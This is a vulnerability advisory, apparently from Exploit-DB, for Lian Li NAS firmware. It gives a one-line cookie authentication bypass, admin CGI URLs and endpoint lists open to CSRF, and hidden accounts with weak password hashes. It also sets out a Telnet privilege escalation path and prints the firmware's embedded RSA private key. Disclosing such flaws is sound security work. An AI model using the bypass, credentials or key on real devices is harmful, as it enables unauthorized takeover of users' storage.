Lian Li NAS - Multiple Vulnerabilities

EDB-ID:

34163

CVE:


Author:

pws

Type:

webapps

Platform:

Hardware

Published:

2014-07-24

# Exploit Title: Lian Li NAS Multiple vulnerabilities
# Date: 21/07/2014
# Exploit Author: pws
# Vendor Homepage: http://www.lian-li.com/en/dt_portfolio_category/nas/
# Firmware Link: https://www.dropbox.com/s/imvkndl8m5yj7qp/G5S604121826700.tar.gz
# Tested on: Latest version
# CVE : None yet

1. Hardcoded cookie to access the admin section

File: /javascript/storlib.js
function get_cookie()
{
	var allcookies = document.cookie;
	var pos = allcookies.indexOf("LoginUser=admin");
	if (pos == -1)
		location = "/index.html";
}

2. Authentication bypass

Create such cookie: 'LoginUser=admin' (document.cookie='LoginUser=admin').
Then, access the URL directly to get admin features.

Eg. 
http://192.168.1.1/cgi/telnet/telnet.cgi # enable/disable the Telnet server
http://192.168.1.1/cgi/user/user.cgi     # manage users (change passwords, add user, ...)

Here are all the cgi's accessible (firmware: G5S604121826700) :

cgi/lan/lan.cgi
cgi/lan/lan_nasHandler.cgi
cgi/lan/lan_routerHandler.cgi
cgi/information/information.cgi
cgi/return/return.cgi
cgi/account/account.cgi
cgi/account/accountHandler.cgi
cgi/lang/lang.cgi
cgi/lang/langHandler.cgi
cgi/backup/clear.cgi
cgi/backup/fixed.cgi
cgi/backup/ipaddress.cgi
cgi/backup/listing.cgi
cgi/backup/s.cgi
cgi/backup/schedule.cgi
cgi/backup/source.cgi
cgi/backup/dd_schedule.cgi
cgi/backup/decide.cgi
cgi/backup/ipaddress1.cgi
cgi/backup/s1.cgi
cgi/backup/source1.cgi
cgi/backup/ipaddress2.cgi
cgi/backup/s2.cgi
cgi/backup/source2.cgi
cgi/backup/ipaddress3.cgi
cgi/backup/s3.cgi
cgi/backup/source3.cgi
cgi/backup/ipaddress5.cgi
cgi/backup/s5.cgi
cgi/backup/source5.cgi
cgi/backup/l.cgi
cgi/backup/listing1.cgi
cgi/backup/listing2.cgi
cgi/backup/listing3.cgi
cgi/backup/listing5.cgi
cgi/backup/email.cgi
cgi/backup/email1.cgi
cgi/backup/fixed1.cgi
cgi/backup/schedule1.cgi
cgi/backup/email2.cgi
cgi/backup/fixed2.cgi
cgi/backup/schedule2.cgi
cgi/backup/email3.cgi
cgi/backup/fixed3.cgi
cgi/backup/schedule3.cgi
cgi/backup/dd_schedule1.cgi
cgi/backup/dd_schedule2.cgi
cgi/backup/dd_schedule3.cgi
cgi/backup/dd_schedule5.cgi
cgi/backup/email5.cgi
cgi/backup/fixed5.cgi
cgi/backup/schedule5.cgi
cgi/backup/fixed6.cgi
cgi/backup/ipaddress6.cgi
cgi/backup/listing6.cgi
cgi/backup/s6.cgi
cgi/backup/email6.cgi
cgi/backup/schedule6.cgi
cgi/backup/source6.cgi
cgi/backup/dd_schedule6.cgi
cgi/backup/fixed4.cgi
cgi/backup/ipaddress4.cgi
cgi/backup/listing4.cgi
cgi/backup/s4.cgi
cgi/backup/email4.cgi
cgi/backup/schedule4.cgi
cgi/backup/source4.cgi
cgi/backup/dd_schedule4.cgi
cgi/backup/emessage.cgi
cgi/backup/emessage_fail.cgi
cgi/group/group.cgi
cgi/group/groupHandler.cgi
cgi/group/groupDeleteHandler.cgi
cgi/group/groupMembers.cgi
cgi/group/groupMembersHandler.cgi
cgi/user/user.cgi
cgi/user/userHandler.cgi
cgi/user/userDeleteHandler.cgi
cgi/user/userMembership.cgi
cgi/user/userMembershipHandler.cgi
cgi/time/time.cgi
cgi/time/timeHandler.cgi
cgi/power/power.cgi
cgi/power/powerHandler.cgi
cgi/factoryReset/factoryReset.cgi
cgi/factoryReset/factoryResetHandler.cgi
cgi/restoreConfig/restoreConfig.cgi
cgi/restoreConfig/restoreConfigHandler.cgi
cgi/saveConfig/saveConfig.cgi
cgi/saveConfig/saveConfigHandler.cgi
cgi/diskUsage/diskUsage.cgi
cgi/diskUsage/diskUsageuser.cgi
cgi/diskUsage/diskUsageHandler.cgi
cgi/diskUsage/diskUsageuserHandler.cgi
cgi/diskUtility/diskUtility.cgi
cgi/diskUtility/diskUtilityHandler.cgi
cgi/diskUtility/healthReport.cgi
cgi/dhcpserver/dhcpserver.cgi
cgi/dhcpserver/dhcpserverHandler.cgi
cgi/dhcpserver/dhcplease.cgi
cgi/dhcpserver/dhcpleaseHandler.cgi
cgi/dhcpserver/dhcpstatic.cgi
cgi/dhcpserver/dhcpstaticHandler.cgi
cgi/dhcpserver/staticipDeleteHandler.cgi
cgi/errorAlert/errorAlert.cgi
cgi/errorAlert/errorAlertHandler.cgi
cgi/share/share.cgi
cgi/share/shareHandler.cgi
cgi/share/shareDeleteHandler.cgi
cgi/share/share_nonLinux.cgi
cgi/share/share_nonLinuxHandler.cgi
cgi/share/share_Linux.cgi
cgi/share/share_LinuxHandler.cgi
cgi/fileServer/fileServer.cgi
cgi/fileServer/fileServerHandler.cgi
cgi/log_system/log_system.cgi
cgi/log_system/log_systemHandler.cgi
cgi/log_admin/log_admin.cgi
cgi/log_admin/log_adminHandler.cgi
cgi/log_dhcp/log_dhcp.cgi
cgi/log_dhcp/log_dhcpHandler.cgi
cgi/log_ftp/log_ftp.cgi
cgi/log_ftp/log_ftpHandler.cgi
cgi/log_samba/log_samba.cgi
cgi/log_samba/log_sambaHandler.cgi
cgi/printer/printer.cgi
cgi/printer/printerHandler.cgi
cgi/upgrade2/upgrade.cgi
cgi/upgrade2/upgradeHandler.cgi
cgi/wizard/wizard.cgi
cgi/wizard/language.cgi
cgi/wizard/languageHandler.cgi
cgi/wizard/password.cgi
cgi/wizard/passwordHandler.cgi
cgi/wizard/hostname.cgi
cgi/wizard/hostnameHandler.cgi
cgi/wizard/tcpip.cgi
cgi/wizard/tcpipHandler.cgi
cgi/wizard/time.cgi
cgi/wizard/timeHandler.cgi
cgi/wizard/confirm.cgi
cgi/wizard/confirmHandler.cgi
cgi/wizard/addUser.cgi
cgi/wizard/user.cgi
cgi/wizard/userHandler.cgi
cgi/wizard/userMembership.cgi
cgi/wizard/userMembershipHandler.cgi
cgi/wizard/userSharePermission.cgi
cgi/wizard/userSharePermissionHandler.cgi
cgi/wizard/addGroup.cgi
cgi/wizard/group.cgi
cgi/wizard/groupHandler.cgi
cgi/wizard/groupMembers.cgi
cgi/wizard/groupMembersHandler.cgi
cgi/wizard/groupSharePermission.cgi
cgi/wizard/groupSharePermissionHandler.cgi
cgi/wizard/addShare.cgi
cgi/wizard/share.cgi
cgi/wizard/shareHandler.cgi
cgi/wizard/sharePermission.cgi
cgi/wizard/sharePermissionHandler.cgi
cgi/wizard/nfsPermission.cgi
cgi/wizard/nfsPermissionHandler.cgi
cgi/wizard/button.cgi
cgi/telnet/telnet.cgi
cgi/telnet/telnetHandler.cgi
cgi/bonjour/bonjour.cgi
cgi/bonjour/bonjourHandler.cgi
cgi/raid/raid.cgi
cgi/raid/raidHandler.cgi
cgi/swupdate/swupdate.cgi
cgi/swupdate/swupdateHandler.cgi
cgi/swupdate/installHandler.cgi
cgi/swupdate/swlist.cgi
cgi/swupdate/swlistHandler.cgi

All forms on those cgi pages can be used to perform CSRF attacks (to target internal network for example).

3. Backdoored accounts

Some users are not referenced in the management page but are present in the system. 
Moreover, the robustness of such passwords is really poor (password = "123456"): 

mysql:$1$$RmyPVMlhpXjJj8iv4w.Ul.:6000:6000:Linux User,,,:/home/mysql:/bin/sh
daemon:$1$$RmyPVMlhpXjJj8iv4w.Ul.:7000:7000:Linux User,,,:/home/daemon:/bin/sh

4. Privilege escalation "scenario"

Enable Telnet server (if disabled)
Connect to it using one of the backdoored accounts and retrieve /etc/passwd file.
It contains passwords for all accounts.

5. Certificate used by the FTP server stored in the firmware

cacert.pem

subject=/C=AU/SOP=QLD/O=Mincom Pty. Ltd./OU=CS/CN=SSLeay demo server
issuer= /C=AU/SOP=QLD/O=Mincom Pty. Ltd./OU=CS/CN=CA
-----BEGIN X509 CERTIFICATE-----

MIIBgjCCASwCAQQwDQYJKoZIhvcNAQEEBQAwODELMAkGA1UEBhMCQVUxDDAKBgNV
BAgTA1FMRDEbMBkGA1UEAxMSU1NMZWF5L3JzYSB0ZXN0IENBMB4XDTk1MTAwOTIz
MzIwNVoXDTk4MDcwNTIzMzIwNVowYDELMAkGA1UEBhMCQVUxDDAKBgNVBAgTA1FM
RDEZMBcGA1UEChMQTWluY29tIFB0eS4gTHRkLjELMAkGA1UECxMCQ1MxGzAZBgNV
BAMTElNTTGVheSBkZW1vIHNlcnZlcjBcMA0GCSqGSIb3DQEBAQUAA0sAMEgCQQC3
LCXcScWua0PFLkHBLm2VejqpA1F4RQ8q0VjRiPafjx/Z/aWH3ipdMVvuJGa/wFXb
/nDFLDlfWp+oCPwhBtVPAgMBAAEwDQYJKoZIhvcNAQEEBQADQQArNFsihWIjBzb0
DCsU0BvL2bvSwJrPEqFlkDq3F4M6EGutL9axEcANWgbbEdAvNJD1dmEmoWny27Pn
IMs6ZOZB
-----END X509 CERTIFICATE-----

server-cert.pem

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1 (0x1)
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=TW, ST=Taipei, O=Storm, OU=software, CN=aaron/emailAddress=aaron@storlinksemi.com
        Validity
            Not Before: Jan  3 00:46:50 2007 GMT
            Not After : Jan  3 00:46:50 2008 GMT
        Subject: C=TW, ST=Taipei, L=Hsinchu, O=Storm, OU=software, CN=aaron/emailAddress=aaron@storlinksemi.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (1024 bit)
                Modulus (1024 bit):
                    00:c4:1d:89:dc:9b:45:6c:96:e2:ad:e6:98:13:25:
                    64:b4:54:f6:e4:97:74:d5:9f:15:1e:1d:45:a1:75:
                    45:fc:3b:2b:9c:dd:e6:0d:34:4b:d7:6c:8d:d0:32:
                    5f:39:25:ab:53:81:de:84:17:cf:27:0a:c2:26:82:
                    9f:09:3f:a8:7e:8c:31:c3:fe:43:75:fe:1f:53:8e:
                    74:0e:31:d2:55:71:51:1b:7a:01:e3:57:4f:f7:d6:
                    9f:1d:39:19:42:3c:a1:bd:08:d1:99:69:fc:1c:34:
                    6e:0f:fb:a7:36:f5:77:bf:95:c8:1d:50:30:25:59:
                    23:39:d3:27:5a:06:0a:05:6d
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: 
                CA:FALSE
            Netscape Comment: 
                OpenSSL Generated Certificate
            X509v3 Subject Key Identifier: 
                61:19:1F:04:38:83:83:E0:CD:6A:8C:CA:F9:9C:6E:D3:7F:C5:55:C3
            X509v3 Authority Key Identifier: 
                keyid:F6:E9:49:A1:24:01:C1:0A:4C:7F:6A:E7:58:B8:95:BC:AF:95:B4:F7
                DirName:/C=TW/ST=Taipei/O=Storm/OU=software/CN=aaron/emailAddress=aaron@storlinksemi.com
                serial:00

    Signature Algorithm: sha1WithRSAEncryption
        5b:b7:dc:28:58:5e:53:c5:d7:88:be:71:21:43:b5:db:a1:d7:
        fc:de:38:1d:38:e7:b3:a4:a5:64:92:1b:67:1b:c8:3e:0f:a9:
        16:77:0c:0b:bf:e9:d2:b5:70:cd:05:71:df:1a:db:2a:c8:56:
        5d:91:1c:ef:2b:16:b3:f0:55:89:ba:35:e4:ae:07:6c:4a:c5:
        d0:0d:e3:1b:1d:5e:fd:01:b2:52:0e:fe:05:08:ed:40:26:e6:
        b0:2b:24:2f:0d:42:11:f0:d9:b4:6d:db:ce:d1:b1:65:77:62:
        7a:06:8b:09:c7:33:f3:43:13:a7:33:47:af:5c:6a:39:4e:8f:
        64:5c
-----BEGIN CERTIFICATE-----
MIIDezCCAuSgAwIBAgIBATANBgkqhkiG9w0BAQUFADB4MQswCQYDVQQGEwJUVzEP
MA0GA1UECBMGVGFpcGVpMQ4wDAYDVQQKEwVTdG9ybTERMA8GA1UECxMIc29mdHdh
cmUxDjAMBgNVBAMTBWFhcm9uMSUwIwYJKoZIhvcNAQkBFhZhYXJvbkBzdG9ybGlu
a3NlbWkuY29tMB4XDTA3MDEwMzAwNDY1MFoXDTA4MDEwMzAwNDY1MFowgYoxCzAJ
BgNVBAYTAlRXMQ8wDQYDVQQIEwZUYWlwZWkxEDAOBgNVBAcTB0hzaW5jaHUxDjAM
BgNVBAoTBVN0b3JtMREwDwYDVQQLEwhzb2Z0d2FyZTEOMAwGA1UEAxMFYWFyb24x
JTAjBgkqhkiG9w0BCQEWFmFhcm9uQHN0b3JsaW5rc2VtaS5jb20wgZ8wDQYJKoZI
hvcNAQEBBQADgY0AMIGJAoGBAMQdidybRWyW4q3mmBMlZLRU9uSXdNWfFR4dRaF1
Rfw7K5zd5g00S9dsjdAyXzklq1OB3oQXzycKwiaCnwk/qH6MMcP+Q3X+H1OOdA4x
0lVxURt6AeNXT/fWnx05GUI8ob0I0Zlp/Bw0bg/7pzb1d7+VyB1QMCVZIznTJ1oG
CgVtAgMBAAGjggEAMIH9MAkGA1UdEwQCMAAwLAYJYIZIAYb4QgENBB8WHU9wZW5T
U0wgR2VuZXJhdGVkIENlcnRpZmljYXRlMB0GA1UdDgQWBBRhGR8EOIOD4M1qjMr5
nG7Tf8VVwzCBogYDVR0jBIGaMIGXgBT26UmhJAHBCkx/audYuJW8r5W096F8pHow
eDELMAkGA1UEBhMCVFcxDzANBgNVBAgTBlRhaXBlaTEOMAwGA1UEChMFU3Rvcm0x
ETAPBgNVBAsTCHNvZnR3YXJlMQ4wDAYDVQQDEwVhYXJvbjElMCMGCSqGSIb3DQEJ
ARYWYWFyb25Ac3RvcmxpbmtzZW1pLmNvbYIBADANBgkqhkiG9w0BAQUFAAOBgQBb
t9woWF5TxdeIvnEhQ7Xbodf83jgdOOezpKVkkhtnG8g+D6kWdwwLv+nStXDNBXHf
GtsqyFZdkRzvKxaz8FWJujXkrgdsSsXQDeMbHV79AbJSDv4FCO1AJuawKyQvDUIR
8Nm0bdvO0bFld2J6BosJxzPzQxOnM0evXGo5To9kXA==
-----END CERTIFICATE-----

server-key.pem

-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDEHYncm0VsluKt5pgTJWS0VPbkl3TVnxUeHUWhdUX8Oyuc3eYN
NEvXbI3QMl85JatTgd6EF88nCsImgp8JP6h+jDHD/kN1/h9TjnQOMdJVcVEbegHj
V0/31p8dORlCPKG9CNGZafwcNG4P+6c29Xe/lcgdUDAlWSM50ydaBgoFbQIDAQAB
AoGBAIKcZZd99aOXbcqBm+CMc+BCAdhGInKvK0JOHnSkhQKyaZ5kjnVW0ffb/Sqe
kZqewtav1IFG1hjbamh5b++Z7N2F+jshPnacdBXrgT4PPUfj3+ZirXlyckxJv3YT
Ql1bLsaCMne2b4sUuGsldROfiXfOR5SDUhbHocQj+mj8C/OlAkEA/4TfMZJqIkAx
W7uwPqX7c6k1XhLwC5tjEkyZA3jhgLMCDzw1RGxO65haVyKm//e4f1S7ctQ/v80j
Rret0A4cnwJBAMR8CqOpKI7W4Qao2aIYmL36a9VIFWoNunlmuSUW/KiBkAGhfGBn
+VG0uueM4PdOWl0i45SyZxTiYUjxE+BSlnMCQQDp611dB3osYvIM1dVydQevCgA2
YEXrilR3YzJNkHN5G+fNxMPLIRBa9H33+VxDRyhbQVndtNurnoQl8G+p4dFnAkA5
Ftl4iBPyvNiROMpTYNYwjOx8Af/G2spNr90nu7AZvdt7vdIHqO42IU8VLEfJU4jJ
+vMpJ1TwKn6d1P4zdYulAkB1FPvPcRmn1P69b2tDGEeoSNbh4s7eqV7AntDGeQhp
ppiLtY+nlj+Mjs2pHLa1bRAWcQRl/GYU4rdF6Py9F/w/
-----END RSA PRIVATE KEY-----